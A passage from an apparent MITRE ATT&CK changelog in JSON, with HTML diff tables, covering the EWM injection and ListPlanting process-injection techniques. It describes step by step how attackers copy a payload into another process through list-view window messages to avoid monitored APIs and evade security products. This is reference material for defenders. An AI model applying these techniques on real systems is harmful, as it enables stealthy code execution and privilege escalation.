nowrap=\"nowrap\">red&nbsp;sections&nbsp;of&nbsp;the&nbsp;process\u2019s&nbsp;memory,&nbsp;placing&nbsp;a&nbsp;pointer&nbsp;to&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;pointer&nbsp;to&nbsp;the&nbsp;code&nbsp;in&nbsp;EWM,&nbsp;then&nbsp;invoking&nbsp;execution&nbsp;by&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;code&nbsp;in&nbsp;EWM,&nbsp;then&nbsp;invoking&nbsp;execution&nbsp;by&nbsp;returning&nbsp;executi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">turning&nbsp;execution&nbsp;control&nbsp;to&nbsp;the&nbsp;address&nbsp;in&nbsp;the&nbsp;process\u2019s&nbsp;EW</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;control&nbsp;to&nbsp;the&nbsp;address&nbsp;in&nbsp;the&nbsp;process\u2019s&nbsp;EWM.&nbsp;&nbsp;Execution&nbsp;g</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">M.&nbsp;&nbsp;Execution&nbsp;granted&nbsp;through&nbsp;EWM&nbsp;injection&nbsp;may&nbsp;allow&nbsp;access</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ranted&nbsp;through&nbsp;EWM&nbsp;injection&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;both&nbsp;the&nbsp;ta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;both&nbsp;the&nbsp;target&nbsp;process's&nbsp;memory&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rget&nbsp;process's&nbsp;memory&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;privileges.&nbsp;Writ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rivileges.&nbsp;Writing&nbsp;payloads&nbsp;to&nbsp;shared&nbsp;sections&nbsp;also&nbsp;avoids&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;payloads&nbsp;to&nbsp;shared&nbsp;sections&nbsp;also&nbsp;avoids&nbsp;the&nbsp;use&nbsp;of&nbsp;highl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;use&nbsp;of&nbsp;highly&nbsp;monitored&nbsp;API&nbsp;calls&nbsp;such&nbsp;as&nbsp;&lt;code&gt;WriteProc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;monitored&nbsp;API&nbsp;calls&nbsp;such&nbsp;as&nbsp;&lt;code&gt;WriteProcessMemory&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essMemory&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;CreateRemoteThread&lt;/code&gt;.(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;and&nbsp;&lt;code&gt;CreateRemoteThread&lt;/code&gt;.(Citation:&nbsp;Elastic&nbsp;Pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;More&nbsp;sophisticated&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;More&nbsp;sophisticated&nbsp;malware&nbsp;samples</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malware&nbsp;samples&nbsp;may&nbsp;also&nbsp;potentially&nbsp;bypass&nbsp;protection&nbsp;mecha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;also&nbsp;potentially&nbsp;bypass&nbsp;protection&nbsp;mechanisms&nbsp;such&nbsp;as&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nisms&nbsp;such&nbsp;as&nbsp;data&nbsp;execution&nbsp;prevention&nbsp;(DEP)&nbsp;by&nbsp;triggering&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ata&nbsp;execution&nbsp;prevention&nbsp;(DEP)&nbsp;by&nbsp;triggering&nbsp;a&nbsp;combination&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;combination&nbsp;of&nbsp;windows&nbsp;procedures&nbsp;and&nbsp;other&nbsp;system&nbsp;functio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;windows&nbsp;procedures&nbsp;and&nbsp;other&nbsp;system&nbsp;functions&nbsp;that&nbsp;will&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;that&nbsp;will&nbsp;rewrite&nbsp;the&nbsp;malicious&nbsp;payload&nbsp;inside&nbsp;an&nbsp;executa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">write&nbsp;the&nbsp;malicious&nbsp;payload&nbsp;inside&nbsp;an&nbsp;executable&nbsp;portion&nbsp;of&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble&nbsp;portion&nbsp;of&nbsp;the&nbsp;target&nbsp;process.<span class=\"diff_sub\">&nbsp;&nbsp;</span>(Citation:&nbsp;MalwareTech&nbsp;P</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;target&nbsp;process.(Citation:&nbsp;MalwareTech&nbsp;Power&nbsp;Loader&nbsp;Aug&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ower&nbsp;Loader&nbsp;Aug&nbsp;2013)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;WeLiveSecurity&nbsp;Gapz&nbsp;and&nbsp;Red</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">013)(Citation:&nbsp;WeLiveSecurity&nbsp;Gapz&nbsp;and&nbsp;Redyms&nbsp;Mar&nbsp;2013)&nbsp;&nbsp;Run</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yms&nbsp;Mar&nbsp;2013)&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;proces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ning&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;poss</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">esources,&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;EW</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ibly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;EWM&nbsp;injection&nbsp;may&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">M&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;executio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0217: Detection Strategy for Extra Window Memory (EWM) Injection on Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-11-22 15:02:15.190000+00:00",
                    "modified": "2026-11-04 03:11:37.194000+00:00",
                    "name": "ListPlanting",
                    "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings is stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/015",
                            "external_id": "T1055.015"
                        },
                        {
                            "source_name": "Hexacorn Listplanting",
                            "description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.",
                            "url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"
                        },
                        {
                            "source_name": "ESET InvisiMole June 2020",
                            "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                            "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                        },
                        {
                            "source_name": "Microsoft List View Controls",
                            "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
                            "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
                        },
                        {
                            "source_name": "Modexp Windows Process Injection",
                            "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
                            "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "ESET"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:11:37.194000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n\\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings is stored within the process' memory in a <code>SysListView32</code> control.\\n\\nListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n\\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \\n\\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.\", \"old_value\": \"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n\\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\\n\\nListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n\\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \\n\\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n \\n-List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\\n+List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings is stored within the process' memory in a <code>SysListView32</code> control.\\n \\n ListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to79__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to79__0\"><a href=\"#difflib_chg_to79__top\">t</a></td><td class=\"diff_header\" id=\"from79_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;list-view&nbsp;controls&nbsp;to&nbsp;inject&nbsp;malicious</td><td class=\"diff_next\"><a href=\"#difflib_chg_to79__top\">t</a></td><td class=\"diff_header\" id=\"to79_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;list-view&nbsp;controls&nbsp;to&nbsp;inject&nbsp;malicious</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;code&nbsp;into&nbsp;hijacked&nbsp;processes&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-base</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;code&nbsp;into&nbsp;hijacked&nbsp;processes&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-base</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;ListPlant</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;ListPlant</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pace&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.(Citation:&nbsp;Hexacorn&nbsp;Listplan</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pace&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.(Citation:&nbsp;Hexacorn&nbsp;Listplan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting)&nbsp;Code&nbsp;executed&nbsp;via&nbsp;ListPlanting&nbsp;may&nbsp;also&nbsp;evade&nbsp;detectio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting)&nbsp;Code&nbsp;executed&nbsp;via&nbsp;ListPlanting&nbsp;may&nbsp;also&nbsp;evade&nbsp;detectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;&nbsp;List-view&nbsp;controls&nbsp;are&nbsp;user&nbsp;interfac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;&nbsp;List-view&nbsp;controls&nbsp;are&nbsp;user&nbsp;interfac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;windows&nbsp;used&nbsp;to&nbsp;display&nbsp;collections&nbsp;of&nbsp;items.(Citation:&nbsp;Mi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;windows&nbsp;used&nbsp;to&nbsp;display&nbsp;collections&nbsp;of&nbsp;items.(Citation:&nbsp;Mi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">crosoft&nbsp;List&nbsp;View&nbsp;Controls)&nbsp;Information&nbsp;about&nbsp;an&nbsp;application</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">crosoft&nbsp;List&nbsp;View&nbsp;Controls)&nbsp;Information&nbsp;about&nbsp;an&nbsp;application</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">'s&nbsp;list-view&nbsp;settings&nbsp;<span class=\"diff_chg\">are&nbsp;stored&nbsp;within&nbsp;the</span>&nbsp;process'&nbsp;memory&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">'s&nbsp;list-view&nbsp;settings&nbsp;<span class=\"diff_chg\">is&nbsp;stored&nbsp;within&nbsp;the</span>&nbsp;process'&nbsp;memory&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;a&nbsp;&lt;code&gt;SysListView32&lt;/code&gt;&nbsp;control.&nbsp;&nbsp;ListPlanting&nbsp;(a&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;a&nbsp;&lt;code&gt;SysListView32&lt;/code&gt;&nbsp;control.&nbsp;&nbsp;ListPlanting&nbsp;(a&nbsp;for</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rm&nbsp;of&nbsp;message-passing&nbsp;\"shatter&nbsp;attack\")&nbsp;may&nbsp;be&nbsp;performed&nbsp;by&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;of&nbsp;message-passing&nbsp;\"shatter&nbsp;attack\")&nbsp;may&nbsp;be&nbsp;performed&nbsp;by&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">copying&nbsp;code&nbsp;into&nbsp;the&nbsp;virtual&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;process&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">opying&nbsp;code&nbsp;into&nbsp;the&nbsp;virtual&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;process&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;uses&nbsp;a&nbsp;list-view&nbsp;control&nbsp;then&nbsp;using&nbsp;that&nbsp;code&nbsp;as&nbsp;a&nbsp;custom&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;uses&nbsp;a&nbsp;list-view&nbsp;control&nbsp;then&nbsp;using&nbsp;that&nbsp;code&nbsp;as&nbsp;a&nbsp;custom&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">callback&nbsp;for&nbsp;sorting&nbsp;the&nbsp;listed&nbsp;items.(Citation:&nbsp;Modexp&nbsp;Wind</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">allback&nbsp;for&nbsp;sorting&nbsp;the&nbsp;listed&nbsp;items.(Citation:&nbsp;Modexp&nbsp;Windo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ows&nbsp;Process&nbsp;Injection)&nbsp;Adversaries&nbsp;must&nbsp;first&nbsp;copy&nbsp;code&nbsp;into</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;Process&nbsp;Injection)&nbsp;Adversaries&nbsp;must&nbsp;first&nbsp;copy&nbsp;code&nbsp;into&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;target&nbsp;process\u2019&nbsp;memory&nbsp;space,&nbsp;which&nbsp;can&nbsp;be&nbsp;performed&nbsp;va</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;target&nbsp;process\u2019&nbsp;memory&nbsp;space,&nbsp;which&nbsp;can&nbsp;be&nbsp;performed&nbsp;var</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rious&nbsp;ways&nbsp;including&nbsp;by&nbsp;directly&nbsp;obtaining&nbsp;a&nbsp;handle&nbsp;to&nbsp;the&nbsp;&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;ways&nbsp;including&nbsp;by&nbsp;directly&nbsp;obtaining&nbsp;a&nbsp;handle&nbsp;to&nbsp;the&nbsp;&lt;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;SysListView32&lt;/code&gt;&nbsp;child&nbsp;of&nbsp;the&nbsp;victim&nbsp;process&nbsp;window</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;SysListView32&lt;/code&gt;&nbsp;child&nbsp;of&nbsp;the&nbsp;victim&nbsp;process&nbsp;window&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(via&nbsp;Windows&nbsp;API&nbsp;calls&nbsp;such&nbsp;as&nbsp;&lt;code&gt;FindWindow&lt;/code&gt;&nbsp;and/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(via&nbsp;Windows&nbsp;API&nbsp;calls&nbsp;such&nbsp;as&nbsp;&lt;code&gt;FindWindow&lt;/code&gt;&nbsp;and/o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;&lt;code&gt;EnumWindows&lt;/code&gt;)&nbsp;or&nbsp;other&nbsp;[Process&nbsp;Injection](ht</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;&lt;code&gt;EnumWindows&lt;/code&gt;)&nbsp;or&nbsp;other&nbsp;[Process&nbsp;Injection](htt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1055)&nbsp;methods.&nbsp;&nbsp;Some&nbsp;vari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1055)&nbsp;methods.&nbsp;&nbsp;Some&nbsp;varia</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 